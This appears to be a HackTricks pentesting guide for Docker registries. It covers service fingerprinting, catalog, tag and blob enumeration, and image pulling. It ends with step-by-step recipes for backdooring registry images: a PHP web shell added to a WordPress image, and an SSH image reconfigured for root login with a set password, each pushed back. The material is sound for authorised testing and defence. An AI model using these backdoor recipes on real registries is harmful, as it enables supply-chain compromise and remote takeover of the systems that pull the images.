hacktricks/network-services-pentesting/5000-pentesting-docker-registry.md

# 5000 - Pentesting Docker Registry

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## Basic Information

A storage and distribution system known as a **Docker registry** is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within **Docker repositories** in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions.

**DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online.

To download an image from an on-premise registry, the following command is used:

```bash
docker pull my-registry:9000/foo/bar:2.1
```

This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to:

```bash
docker pull foo/bar
```

**Default port:** 5000

```
PORT    STATE SERVICE  VERSION
5000/tcp open  http    Docker Registry (API: 2.0)
```

## Discovering

The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\
Some fingerprints:

* If you access `/` nothing is returned in the response
* If you access `/v2/` then `{}` is returned
* If you access `/v2/_catalog` you may obtain:
  * `{"repositories":["alpine","ubuntu"]}`
  * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`

## Enumeration

### HTTP/HTTPS

Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:

```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}
```

### Authentication

Docker registry may also be configured to require **authentication**:

```bash
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
```

If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
**If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this:

```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```

### Enumeration using DockerRegistryGrabber

[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication)

```bash
python3 DockerGraber.py http://127.0.0.1  --list

[+] my-ubuntu
[+] my-ubuntu2

python3 DockerGraber.py http://127.0.0.1  --dump_all

[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888


python3 DockerGraber.py http://127.0.0.1  --dump my-ubuntu

[+] blobSum found 5
[+] Dumping my-ubuntu
    [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
    [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
    [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
    [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
    [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
```

### Enumeration using curl

Once you **obtained access to the docker registry** here are some commands you can use to enumerate it:

```bash
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}

#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}

#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
   "schemaVersion": 1,
   "name": "ubuntu",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
      },
      {
         "v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
               "kty": "EC",
               "x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
               "y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
            },
            "alg": "ES256"
         },
         "signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
      }
   ]
}

#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar

#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
```

{% hint style="warning" %}
Note that when you download and decompress the blobs files and folders will appear in the current directory. **If you download all the blobs and decompress them in the same folder they will overwrite values from the previously decompressed blobs**, so be careful. It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob.
{% endhint %}

### Enumeration using docker

```bash
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu

#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
#ed05bef01522        2 years ago         ./run.sh                                        46.8MB              
#<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B                  
#<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B                  
#<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B                
#<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB       

#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
```

### Backdooring WordPress image

In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\
**Create** the **backdoor**:

{% code title="shell.php" %}
```bash
<?php echo shell_exec($_GET["cmd"]); ?>
```
{% endcode %}

Create a **Dockerfile**:

{% code title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```
{% endcode %}

**Create** the new image, **check** it's created, and **push** it:

```bash
docker build -t 10.10.10.10:5000/wordpress .
 #Create
docker images
docker push registry:5000/wordpress #Push it
```

### Backdooring SSH server image

Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\
**Download** the image and **run** it:

```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```

Extract the `sshd_config` file from the SSH image:

```bash
docker cp 4c989242c714:/etc/ssh/sshd_config .
```

And modify it to set: `PermitRootLogin yes`

Create a **Dockerfile** like the following one:

{% tabs %}
{% tab title="Dockerfile" %}
```bash
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```
{% endtab %}
{% endtabs %}

**Create** the new image, **check** it's created, and **push** it:

```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
 #Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
```

## References
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)

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